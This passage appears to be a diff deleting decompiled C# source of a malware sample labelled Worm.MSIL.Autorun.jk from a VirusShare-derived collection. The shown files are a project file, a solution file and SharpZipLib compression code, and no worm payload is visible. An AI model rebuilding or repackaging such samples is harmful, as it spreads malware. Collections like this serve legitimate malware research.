3904687514U,
3967668269U,
881225847U,
809987520U,
1023691545U,
969234094U,
662832811U,
591600412U,
771767749U,
717299826U,
311336399U,
374308984U,
453813921U,
533576470U,
25881363U,
88864420U,
134795389U,
214552010U,
2023205639U,
2086057648U,
1897238633U,
1976864222U,
1804852699U,
1867694188U,
1645340341U,
1724971778U,
1587496639U,
1516133128U,
1461550545U,
1406951526U,
1302016099U,
1230646740U,
1142491917U,
1087903418U,
2896545431U,
2825181984U,
2770861561U,
2716262478U,
3215044683U,
3143675388U,
3055782693U,
3001194130U,
2326604591U,
2389456536U,
2200899649U,
2280525302U,
2578013683U,
2640855108U,
2418763421U,
2498394922U,
3769900519U,
3832873040U,
3912640137U,
3992402750U,
4088425275U,
4151408268U,
4197601365U,
4277358050U,
3334271071U,
3263032808U,
3476998961U,
3422541446U,
3585640067U,
3514407732U,
3694837229U,
3640369242U,
1762451694U,
1842216281U,
1619975040U,
1682949687U,
2047383090U,
2127137669U,
1938468188U,
2001449195U,
1325665622U,
1271206113U,
1183200824U,
1111960463U,
1543535498U,
1489069629U,
1434599652U,
1363369299U,
622672798U,
568075817U,
748617968U,
677256519U,
907627842U,
853037301U,
1067152940U,
995781531U,
51762726U,
131386257U,
177728840U,
240578815U,
269590778U,
349224269U,
429104020U,
491947555U,
4046411278U,
4126034873U,
4172115296U,
4234965207U,
3794477266U,
3874110821U,
3953728444U,
4016571915U,
3609705398U,
3555108353U,
3735388376U,
3664026991U,
3290680682U,
3236090077U,
3449943556U,
3378572211U,
3174993278U,
3120533705U,
3032266256U,
2961025959U,
2923101090U,
2868635157U,
2813903052U,
2742672763U,
2604032198U,
2683796849U,
2461293480U,
2524268063U,
2284983834U,
2364738477U,
2175806836U,
2238787779U,
1569362073U,
1498123566U,
1409854455U,
1355396672U,
1317987909U,
1246755826U,
1192025387U,
1137557660U,
2072149281U,
2135122070U,
1912620623U,
1992383480U,
1753615357U,
1816598090U,
1627664531U,
1707420964U,
295390185U,
358241886U,
404320391U,
483945776U,
43990325U,
106832002U,
186451547U,
266083308U,
932423249U,
861060070U,
1041341759U,
986742920U,
613929101U,
542559546U,
756411363U,
701822548U,
3316196985U,
3244833742U,
3425377559U,
3370778784U,
3601682597U,
3530312978U,
3744426955U,
3689838204U,
3819031489U,
3881883254U,
3928223919U,
4007849240U,
4037393693U,
4100235434U,
4180117107U,
4259748804U,
2310601993U,
2373574846U,
2151335527U,
2231098320U,
2596047829U,
2659030626U,
2470359227U,
2550115596U,
2947551409U,
2876312838U,
2788305887U,
2733848168U,
3165939309U,
3094707162U,
3040238851U,
2985771188U
};
private int globalCrc;
public StrangeCRC() => this.Reset();
public void Reset() => this.globalCrc = -1;
public long Value => (long) ~this.globalCrc;
public void Update(int inCh)
{
int index = this.globalCrc >> 24 ^ inCh;
if (index < 0)
index = 256 + index;
this.globalCrc = (int) ((long) (this.globalCrc << 8) ^ (long) StrangeCRC.crc32Table[index]);
}
public void Update(byte[] buf) => this.Update(buf, 0, buf.Length);
public void Update(byte[] buf, int off, int len)
{
if (buf == null)
throw new ArgumentNullException(nameof (buf));
if (off < 0 || len < 0 || off + len > buf.Length)
throw new ArgumentOutOfRangeException();
for (int index = 0; index < len; ++index)
this.Update((int) buf[off++]);
}
}
}

69
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Worm.MSIL.Autorun.jk.csproj
View File

@ -1,69 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{A8E80C51-B142-4B26-A067-F643B074F165}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Done</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
<RootNamespace>ICSharpCode.SharpZipLib</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="_003CPrivateImplementationDetails_003E.cs" />
<Compile Include="ZipException.cs" />
<Compile Include="Checksums\IChecksum.cs" />
<Compile Include="Checksums\Adler32.cs" />
<Compile Include="Checksums\Crc32.cs" />
<Compile Include="Checksums\StrangeCRC.cs" />
<Compile Include="Zip\ZipConstants.cs" />
<Compile Include="Zip\CompressionMethod.cs" />
<Compile Include="Zip\ZipEntry.cs" />
<Compile Include="Zip\ZipFile.cs" />
<Compile Include="Zip\ZipOutputStream.cs" />
<Compile Include="Zip\Compression\Deflater.cs" />
<Compile Include="Zip\Compression\DeflaterConstants.cs" />
<Compile Include="Zip\Compression\DeflateStrategy.cs" />
<Compile Include="Zip\Compression\DeflaterEngine.cs" />
<Compile Include="Zip\Compression\DeflaterHuffman.cs" />
<Compile Include="Zip\Compression\PendingBuffer.cs" />
<Compile Include="Zip\Compression\DeflaterPending.cs" />
<Compile Include="Zip\Compression\Inflater.cs" />
<Compile Include="Zip\Compression\InflaterDynHeader.cs" />
<Compile Include="Zip\Compression\InflaterHuffmanTree.cs" />
<Compile Include="Zip\Compression\Streams\DeflaterOutputStream.cs" />
<Compile Include="Zip\Compression\Streams\InflaterInputStream.cs" />
<Compile Include="Zip\Compression\Streams\OutputWindow.cs" />
<Compile Include="Zip\Compression\Streams\StreamManipulator.cs" />
<Compile Include="netz\NetzStarter.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="app.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Worm.MSIL.Autorun.jk.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Done", "Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.csproj", "{A8E80C51-B142-4B26-A067-F643B074F165}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{A8E80C51-B142-4B26-A067-F643B074F165}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{A8E80C51-B142-4B26-A067-F643B074F165}.Debug|Any CPU.Build.0 = Debug|Any CPU
{A8E80C51-B142-4B26-A067-F643B074F165}.Release|Any CPU.ActiveCfg = Release|Any CPU
{A8E80C51-B142-4B26-A067-F643B074F165}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

15
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/Compression/DeflateStrategy.cs
View File

@ -1,15 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.Compression.DeflateStrategy
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
namespace ICSharpCode.SharpZipLib.Zip.Compression
{
public enum DeflateStrategy
{
Default,
Filtered,
HuffmanOnly,
}
}

178
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/Compression/Deflater.cs
View File

@ -1,178 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.Compression.Deflater
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using System;
namespace ICSharpCode.SharpZipLib.Zip.Compression
{
public class Deflater
{
public static int BEST_COMPRESSION = 9;
public static int BEST_SPEED = 1;
public static int DEFAULT_COMPRESSION = -1;
public static int NO_COMPRESSION = 0;
public static int DEFLATED = 8;
private static int IS_SETDICT = 1;
private static int IS_FLUSHING = 4;
private static int IS_FINISHING = 8;
private static int INIT_STATE = 0;
private static int SETDICT_STATE = 1;
private static int BUSY_STATE = 16;
private static int FLUSHING_STATE = 20;
private static int FINISHING_STATE = 28;
private static int FINISHED_STATE = 30;
private static int CLOSED_STATE = (int) sbyte.MaxValue;
private int level;
private bool noHeader;
private int state;
private int totalOut;
private DeflaterPending pending;
private DeflaterEngine engine;
public Deflater()
: this(Deflater.DEFAULT_COMPRESSION, false)
{
}
public Deflater(int lvl)
: this(lvl, false)
{
}
public Deflater(int lvl, bool nowrap)
{
if (lvl == Deflater.DEFAULT_COMPRESSION)
lvl = 6;
else if (lvl < Deflater.NO_COMPRESSION || lvl > Deflater.BEST_COMPRESSION)
throw new ArgumentOutOfRangeException(nameof (lvl));
this.pending = new DeflaterPending();
this.engine = new DeflaterEngine(this.pending);
this.noHeader = nowrap;
this.SetStrategy(DeflateStrategy.Default);
this.SetLevel(lvl);
this.Reset();
}
public void Reset()
{
this.state = this.noHeader ? Deflater.BUSY_STATE : Deflater.INIT_STATE;
this.totalOut = 0;
this.pending.Reset();
this.engine.Reset();
}
public int Adler => this.engine.Adler;
public int TotalIn => this.engine.TotalIn;
public int TotalOut => this.totalOut;
public void Flush() => this.state |= Deflater.IS_FLUSHING;
public void Finish() => this.state |= Deflater.IS_FLUSHING | Deflater.IS_FINISHING;
public bool IsFinished => this.state == Deflater.FINISHED_STATE && this.pending.IsFlushed;
public bool IsNeedingInput => this.engine.NeedsInput();
public void SetInput(byte[] input) => this.SetInput(input, 0, input.Length);
public void SetInput(byte[] input, int off, int len)
{
if ((this.state & Deflater.IS_FINISHING) != 0)
throw new InvalidOperationException("finish()/end() already called");
this.engine.SetInput(input, off, len);
}
public void SetLevel(int lvl)
{
if (lvl == Deflater.DEFAULT_COMPRESSION)
lvl = 6;
else if (lvl < Deflater.NO_COMPRESSION || lvl > Deflater.BEST_COMPRESSION)
throw new ArgumentOutOfRangeException(nameof (lvl));
if (this.level == lvl)
return;
this.level = lvl;
this.engine.SetLevel(lvl);
}
public void SetStrategy(DeflateStrategy stgy) => this.engine.Strategy = stgy;
public int Deflate(byte[] output) => this.Deflate(output, 0, output.Length);
public int Deflate(byte[] output, int offset, int length)
{
int num1 = length;
if (this.state == Deflater.CLOSED_STATE)
throw new InvalidOperationException("Deflater closed");
if (this.state < Deflater.BUSY_STATE)
{
int num2 = Deflater.DEFLATED + 112 << 8;
int num3 = this.level - 1 >> 1;
if (num3 < 0 || num3 > 3)
num3 = 3;
int num4 = num2 | num3 << 6;
if ((this.state & Deflater.IS_SETDICT) != 0)
num4 |= 32;
this.pending.WriteShortMSB(num4 + (31 - num4 % 31));
if ((this.state & Deflater.IS_SETDICT) != 0)
{
int adler = this.engine.Adler;
this.engine.ResetAdler();
this.pending.WriteShortMSB(adler >> 16);
this.pending.WriteShortMSB(adler & (int) ushort.MaxValue);
}
this.state = Deflater.BUSY_STATE | this.state & (Deflater.IS_FLUSHING | Deflater.IS_FINISHING);
}
while (true)
{
do
{
do
{
int num5 = this.pending.Flush(output, offset, length);
offset += num5;
this.totalOut += num5;
length -= num5;
if (length == 0 || this.state == Deflater.FINISHED_STATE)
goto label_24;
}
while (this.engine.Deflate((this.state & Deflater.IS_FLUSHING) != 0, (this.state & Deflater.IS_FINISHING) != 0));
if (this.state == Deflater.BUSY_STATE)
return num1 - length;
if (this.state == Deflater.FLUSHING_STATE)
{
if (this.level != Deflater.NO_COMPRESSION)
{
for (int index = 8 + (-this.pending.BitCount & 7); index > 0; index -= 10)
this.pending.WriteBits(2, 10);
}
this.state = Deflater.BUSY_STATE;
}
}
while (this.state != Deflater.FINISHING_STATE);
this.pending.AlignToByte();
if (!this.noHeader)
{
int adler = this.engine.Adler;
this.pending.WriteShortMSB(adler >> 16);
this.pending.WriteShortMSB(adler & (int) ushort.MaxValue);
}
this.state = Deflater.FINISHED_STATE;
}
label_24:
return num1 - length;
}
public void SetDictionary(byte[] dict) => this.SetDictionary(dict, 0, dict.Length);
public void SetDictionary(byte[] dict, int offset, int length)
{
this.state = this.state == Deflater.INIT_STATE ? Deflater.SETDICT_STATE : throw new InvalidOperationException();
this.engine.SetDictionary(dict, offset, length);
}
}
}

101
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/Compression/DeflaterConstants.cs
View File

@ -1,101 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.Compression.DeflaterConstants
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using System;
namespace ICSharpCode.SharpZipLib.Zip.Compression
{
public class DeflaterConstants
{
public const bool DEBUGGING = false;
public const int STORED_BLOCK = 0;
public const int STATIC_TREES = 1;
public const int DYN_TREES = 2;
public const int PRESET_DICT = 32;
public const int DEFAULT_MEM_LEVEL = 8;
public const int MAX_MATCH = 258;
public const int MIN_MATCH = 3;
public const int MAX_WBITS = 15;
public const int WSIZE = 32768;
public const int WMASK = 32767;
public const int HASH_BITS = 15;
public const int HASH_SIZE = 32768;
public const int HASH_MASK = 32767;
public const int HASH_SHIFT = 5;
public const int MIN_LOOKAHEAD = 262;
public const int MAX_DIST = 32506;
public const int PENDING_BUF_SIZE = 65536;
public const int DEFLATE_STORED = 0;
public const int DEFLATE_FAST = 1;
public const int DEFLATE_SLOW = 2;
public static int MAX_BLOCK_SIZE = Math.Min((int) ushort.MaxValue, 65531);
public static int[] GOOD_LENGTH = new int[10]
{
0,
4,
4,
4,
4,
8,
8,
8,
32,
32
};
public static int[] MAX_LAZY = new int[10]
{
0,
4,
5,
6,
4,
16,
16,
32,
128,
258
};
public static int[] NICE_LENGTH = new int[10]
{
0,
8,
16,
32,
16,
32,
128,
128,
258,
258
};
public static int[] MAX_CHAIN = new int[10]
{
0,
4,
8,
32,
16,
32,
128,
256,
1024,
4096
};
public static int[] COMPR_FUNC = new int[10]
{
0,
1,
1,
1,
1,
2,
2,
2,
2,
2
};
}
}

420
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/Compression/DeflaterEngine.cs
View File

@ -1,420 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.Compression.DeflaterEngine
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using ICSharpCode.SharpZipLib.Checksums;
using System;
namespace ICSharpCode.SharpZipLib.Zip.Compression
{
public class DeflaterEngine : DeflaterConstants
{
private static int TOO_FAR = 4096;
private int ins_h;
private short[] head;
private short[] prev;
private int matchStart;
private int matchLen;
private bool prevAvailable;
private int blockStart;
private int strstart;
private int lookahead;
private byte[] window;
private DeflateStrategy strategy;
private int max_chain;
private int max_lazy;
private int niceLength;
private int goodLength;
private int comprFunc;
private byte[] inputBuf;
private int totalIn;
private int inputOff;
private int inputEnd;
private DeflaterPending pending;
private DeflaterHuffman huffman;
private Adler32 adler;
public DeflaterEngine(DeflaterPending pending)
{
this.pending = pending;
this.huffman = new DeflaterHuffman(pending);
this.adler = new Adler32();
this.window = new byte[65536];
this.head = new short[32768];
this.prev = new short[32768];
this.blockStart = this.strstart = 1;
}
public void Reset()
{
this.huffman.Reset();
this.adler.Reset();
this.blockStart = this.strstart = 1;
this.lookahead = 0;
this.totalIn = 0;
this.prevAvailable = false;
this.matchLen = 2;
for (int index = 0; index < 32768; ++index)
this.head[index] = (short) 0;
for (int index = 0; index < 32768; ++index)
this.prev[index] = (short) 0;
}
public void ResetAdler() => this.adler.Reset();
public int Adler => (int) this.adler.Value;
public int TotalIn => this.totalIn;
public DeflateStrategy Strategy
{
get => this.strategy;
set => this.strategy = value;
}
public void SetLevel(int lvl)
{
this.goodLength = DeflaterConstants.GOOD_LENGTH[lvl];
this.max_lazy = DeflaterConstants.MAX_LAZY[lvl];
this.niceLength = DeflaterConstants.NICE_LENGTH[lvl];
this.max_chain = DeflaterConstants.MAX_CHAIN[lvl];
if (DeflaterConstants.COMPR_FUNC[lvl] == this.comprFunc)
return;
switch (this.comprFunc)
{
case 0:
if (this.strstart > this.blockStart)
{
this.huffman.FlushStoredBlock(this.window, this.blockStart, this.strstart - this.blockStart, false);
this.blockStart = this.strstart;
}
this.UpdateHash();
break;
case 1:
if (this.strstart > this.blockStart)
{
this.huffman.FlushBlock(this.window, this.blockStart, this.strstart - this.blockStart, false);
this.blockStart = this.strstart;
break;
}
break;
case 2:
if (this.prevAvailable)
this.huffman.TallyLit((int) this.window[this.strstart - 1] & (int) byte.MaxValue);
if (this.strstart > this.blockStart)
{
this.huffman.FlushBlock(this.window, this.blockStart, this.strstart - this.blockStart, false);
this.blockStart = this.strstart;
}
this.prevAvailable = false;
this.matchLen = 2;
break;
}
this.comprFunc = DeflaterConstants.COMPR_FUNC[lvl];
}
private void UpdateHash() => this.ins_h = (int) this.window[this.strstart] << 5 ^ (int) this.window[this.strstart + 1];
private int InsertString()
{
int index = (this.ins_h << 5 ^ (int) this.window[this.strstart + 2]) & (int) short.MaxValue;
short num;
this.prev[this.strstart & (int) short.MaxValue] = num = this.head[index];
this.head[index] = (short) this.strstart;
this.ins_h = index;
return (int) num & (int) ushort.MaxValue;
}
private void SlideWindow()
{
Array.Copy((Array) this.window, 32768, (Array) this.window, 0, 32768);
this.matchStart -= 32768;
this.strstart -= 32768;
this.blockStart -= 32768;
for (int index = 0; index < 32768; ++index)
{
int num = (int) this.head[index] & (int) ushort.MaxValue;
this.head[index] = num >= 32768 ? (short) (num - 32768) : (short) 0;
}
for (int index = 0; index < 32768; ++index)
{
int num = (int) this.prev[index] & (int) ushort.MaxValue;
this.prev[index] = num >= 32768 ? (short) (num - 32768) : (short) 0;
}
}
public void FillWindow()
{
if (this.strstart >= 65274)
this.SlideWindow();
int num;
for (; this.lookahead < 262 && this.inputOff < this.inputEnd; this.lookahead += num)
{
num = 65536 - this.lookahead - this.strstart;
if (num > this.inputEnd - this.inputOff)
num = this.inputEnd - this.inputOff;
Array.Copy((Array) this.inputBuf, this.inputOff, (Array) this.window, this.strstart + this.lookahead, num);
this.adler.Update(this.inputBuf, this.inputOff, num);
this.inputOff += num;
this.totalIn += num;
}
if (this.lookahead < 3)
return;
this.UpdateHash();
}
private bool FindLongestMatch(int curMatch)
{
int maxChain = this.max_chain;
int num1 = this.niceLength;
short[] prev = this.prev;
int strstart = this.strstart;
int index = this.strstart + this.matchLen;
int val1 = Math.Max(this.matchLen, 2);
int num2 = Math.Max(this.strstart - 32506, 0);
int num3 = this.strstart + 258 - 1;
byte num4 = this.window[index - 1];
byte num5 = this.window[index];
if (val1 >= this.goodLength)
maxChain >>= 2;
if (num1 > this.lookahead)
num1 = this.lookahead;
do
{
if ((int) this.window[curMatch + val1] == (int) num5 && (int) this.window[curMatch + val1 - 1] == (int) num4 && (int) this.window[curMatch] == (int) this.window[strstart] && (int) this.window[curMatch + 1] == (int) this.window[strstart + 1])
{
int num6 = curMatch + 2;
int num7 = strstart + 2;
int num8;
int num9;
int num10;
int num11;
int num12;
int num13;
int num14;
do
;
while ((int) this.window[++num7] == (int) this.window[num8 = num6 + 1] && (int) this.window[++num7] == (int) this.window[num9 = num8 + 1] && (int) this.window[++num7] == (int) this.window[num10 = num9 + 1] && (int) this.window[++num7] == (int) this.window[num11 = num10 + 1] && (int) this.window[++num7] == (int) this.window[num12 = num11 + 1] && (int) this.window[++num7] == (int) this.window[num13 = num12 + 1] && (int) this.window[++num7] == (int) this.window[num14 = num13 + 1] && (int) this.window[++num7] == (int) this.window[num6 = num14 + 1] && num7 < num3);
if (num7 > index)
{
this.matchStart = curMatch;
index = num7;
val1 = num7 - this.strstart;
if (val1 < num1)
{
num4 = this.window[index - 1];
num5 = this.window[index];
}
else
break;
}
strstart = this.strstart;
}
}
while ((curMatch = (int) prev[curMatch & (int) short.MaxValue] & (int) ushort.MaxValue) > num2 && --maxChain != 0);
this.matchLen = Math.Min(val1, this.lookahead);
return this.matchLen >= 3;
}
public void SetDictionary(byte[] buffer, int offset, int length)
{
this.adler.Update(buffer, offset, length);
if (length < 3)
return;
if (length > 32506)
{
offset += length - 32506;
length = 32506;
}
Array.Copy((Array) buffer, offset, (Array) this.window, this.strstart, length);
this.UpdateHash();
--length;
while (--length > 0)
{
this.InsertString();
++this.strstart;
}
this.strstart += 2;
this.blockStart = this.strstart;
}
private bool DeflateStored(bool flush, bool finish)
{
if (!flush && this.lookahead == 0)
return false;
this.strstart += this.lookahead;
this.lookahead = 0;
int stored_len = this.strstart - this.blockStart;
if (stored_len < DeflaterConstants.MAX_BLOCK_SIZE && (this.blockStart >= 32768 || stored_len < 32506) && !flush)
return true;
bool lastBlock = finish;
if (stored_len > DeflaterConstants.MAX_BLOCK_SIZE)
{
stored_len = DeflaterConstants.MAX_BLOCK_SIZE;
lastBlock = false;
}
this.huffman.FlushStoredBlock(this.window, this.blockStart, stored_len, lastBlock);
this.blockStart += stored_len;
return !lastBlock;
}
private bool DeflateFast(bool flush, bool finish)
{
if (this.lookahead < 262 && !flush)
return false;
while (this.lookahead >= 262 || flush)
{
if (this.lookahead == 0)
{
this.huffman.FlushBlock(this.window, this.blockStart, this.strstart - this.blockStart, finish);
this.blockStart = this.strstart;
return false;
}
if (this.strstart > 65274)
this.SlideWindow();
int curMatch;
if (this.lookahead >= 3 && (curMatch = this.InsertString()) != 0 && this.strategy != DeflateStrategy.HuffmanOnly && this.strstart - curMatch <= 32506 && this.FindLongestMatch(curMatch))
{
this.huffman.TallyDist(this.strstart - this.matchStart, this.matchLen);
this.lookahead -= this.matchLen;
if (this.matchLen <= this.max_lazy && this.lookahead >= 3)
{
while (--this.matchLen > 0)
{
++this.strstart;
this.InsertString();
}
++this.strstart;
}
else
{
this.strstart += this.matchLen;
if (this.lookahead >= 2)
this.UpdateHash();
}
this.matchLen = 2;
}
else
{
this.huffman.TallyLit((int) this.window[this.strstart] & (int) byte.MaxValue);
++this.strstart;
--this.lookahead;
if (this.huffman.IsFull())
{
bool lastBlock = finish && this.lookahead == 0;
this.huffman.FlushBlock(this.window, this.blockStart, this.strstart - this.blockStart, lastBlock);
this.blockStart = this.strstart;
return !lastBlock;
}
}
}
return true;
}
private bool DeflateSlow(bool flush, bool finish)
{
if (this.lookahead < 262 && !flush)
return false;
while (this.lookahead >= 262 || flush)
{
if (this.lookahead == 0)
{
if (this.prevAvailable)
this.huffman.TallyLit((int) this.window[this.strstart - 1] & (int) byte.MaxValue);
this.prevAvailable = false;
this.huffman.FlushBlock(this.window, this.blockStart, this.strstart - this.blockStart, finish);
this.blockStart = this.strstart;
return false;
}
if (this.strstart >= 65274)
this.SlideWindow();
int matchStart = this.matchStart;
int matchLen = this.matchLen;
if (this.lookahead >= 3)
{
int curMatch = this.InsertString();
if (this.strategy != DeflateStrategy.HuffmanOnly && curMatch != 0 && this.strstart - curMatch <= 32506 && this.FindLongestMatch(curMatch) && this.matchLen <= 5 && (this.strategy == DeflateStrategy.Filtered || this.matchLen == 3 && this.strstart - this.matchStart > DeflaterEngine.TOO_FAR))
this.matchLen = 2;
}
if (matchLen >= 3 && this.matchLen <= matchLen)
{
this.huffman.TallyDist(this.strstart - 1 - matchStart, matchLen);
int num = matchLen - 2;
do
{
++this.strstart;
--this.lookahead;
if (this.lookahead >= 3)
this.InsertString();
}
while (--num > 0);
++this.strstart;
--this.lookahead;
this.prevAvailable = false;
this.matchLen = 2;
}
else
{
if (this.prevAvailable)
this.huffman.TallyLit((int) this.window[this.strstart - 1] & (int) byte.MaxValue);
this.prevAvailable = true;
++this.strstart;
--this.lookahead;
}
if (this.huffman.IsFull())
{
int stored_len = this.strstart - this.blockStart;
if (this.prevAvailable)
--stored_len;
bool lastBlock = finish && this.lookahead == 0 && !this.prevAvailable;
this.huffman.FlushBlock(this.window, this.blockStart, stored_len, lastBlock);
this.blockStart += stored_len;
return !lastBlock;
}
}
return true;
}
public bool Deflate(bool flush, bool finish)
{
bool flag;
do
{
this.FillWindow();
bool flush1 = flush && this.inputOff == this.inputEnd;
switch (this.comprFunc)
{
case 0:
flag = this.DeflateStored(flush1, finish);
break;
case 1:
flag = this.DeflateFast(flush1, finish);
break;
case 2:
flag = this.DeflateSlow(flush1, finish);
break;
default:
throw new InvalidOperationException("unknown comprFunc");
}
}
while (this.pending.IsFlushed && flag);
return flag;
}
public void SetInput(byte[] buf, int off, int len)
{
if (this.inputOff < this.inputEnd)
throw new InvalidOperationException("Old input was not completely processed");
int num = off + len;
if (0 > off || off > num || num > buf.Length)
throw new ArgumentOutOfRangeException();
this.inputBuf = buf;
this.inputOff = off;
this.inputEnd = num;
}
public bool NeedsInput() => this.inputEnd == this.inputOff;
}
}

609
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/Compression/DeflaterHuffman.cs
View File

@ -1,609 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.Compression.DeflaterHuffman
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using System;
namespace ICSharpCode.SharpZipLib.Zip.Compression
{
public class DeflaterHuffman
{
private static int BUFSIZE = 16384;
private static int LITERAL_NUM = 286;
private static int DIST_NUM = 30;
private static int BITLEN_NUM = 19;
private static int REP_3_6 = 16;
private static int REP_3_10 = 17;
private static int REP_11_138 = 18;
private static int EOF_SYMBOL = 256;
private static int[] BL_ORDER = new int[19]
{
16,
17,
18,
0,
8,
7,
9,
6,
10,
5,
11,
4,
12,
3,
13,
2,
14,
1,
15
};
private static byte[] bit4Reverse = new byte[16]
{
(byte) 0,
(byte) 8,
(byte) 4,
(byte) 12,
(byte) 2,
(byte) 10,
(byte) 6,
(byte) 14,
(byte) 1,
(byte) 9,
(byte) 5,
(byte) 13,
(byte) 3,
(byte) 11,
(byte) 7,
(byte) 15
};
public DeflaterPending pending;
private DeflaterHuffman.Tree literalTree;
private DeflaterHuffman.Tree distTree;
private DeflaterHuffman.Tree blTree;
private short[] d_buf;
private byte[] l_buf;
private int last_lit;
private int extra_bits;
private static short[] staticLCodes = new short[(int) checked ((uint) DeflaterHuffman.LITERAL_NUM)];
private static byte[] staticLLength = new byte[(int) checked ((uint) DeflaterHuffman.LITERAL_NUM)];
private static short[] staticDCodes;
private static byte[] staticDLength;
public static short BitReverse(int value) => (short) ((int) DeflaterHuffman.bit4Reverse[value & 15] << 12 | (int) DeflaterHuffman.bit4Reverse[value >> 4 & 15] << 8 | (int) DeflaterHuffman.bit4Reverse[value >> 8 & 15] << 4 | (int) DeflaterHuffman.bit4Reverse[value >> 12]);
static DeflaterHuffman()
{
int index1;
for (index1 = 0; index1 < 144; DeflaterHuffman.staticLLength[index1++] = (byte) 8)
DeflaterHuffman.staticLCodes[index1] = DeflaterHuffman.BitReverse(48 + index1 << 8);
for (; index1 < 256; DeflaterHuffman.staticLLength[index1++] = (byte) 9)
